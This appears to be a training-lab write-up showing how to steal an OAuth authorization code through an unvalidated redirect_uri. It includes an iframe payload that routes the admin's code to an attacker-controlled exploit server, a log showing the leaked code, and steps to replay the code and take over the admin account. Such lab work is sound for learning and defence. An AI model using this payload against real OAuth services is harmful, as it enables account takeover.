This lab uses an OAuth service to allow users to log in with their social media account.
-
A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users' accounts.
-
To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete Carlos.
-
The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.
-
You can log in with your own social media account using the following credentials:
wiener:peter
.
- Understand the OAuth flow.
- There is no validation on the
redirect_uri
. - Create an iframe with the
redirect_uri
pointing to exploit server in the exploit server:
<iframe src="https://oauth-ac881f9f1e04b5c5809b00fb02020011.web-security-academy.net/auth?client_id=xop1ssyd5egkugmiuspd1&redirect_uri=https://exploit-acb41f7a1efbb5c380fe001001e600fe.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email">
- Open the Access log after delivering the exploit to victim.
- You must have received the
/outh-callback
with the authorization code:
IP_ADDRESS 2021-08-04 13:16:17 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
IP_ADDRESS 2021-08-04 13:16:17 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
172.31.30.181 2021-08-04 13:16:17 +0000 "GET /exploit/ HTTP/1.1" 200 "User-Agent: Chrome/786316"
172.31.30.181 2021-08-04 13:16:17 +0000 "GET /oauth-callback?code=mEN_6IDsv0wzWlgpBRrdAfbtRx39WEGwiesKQPzqRl2 HTTP/1.1" 404 "User-Agent: Chrome/786316"
- Copy the code.
- Intercept the
/outh-callback
request and replace the code. - Now you'll get access to admin panel:
- Delete the
carlos
user to finish the lab!!
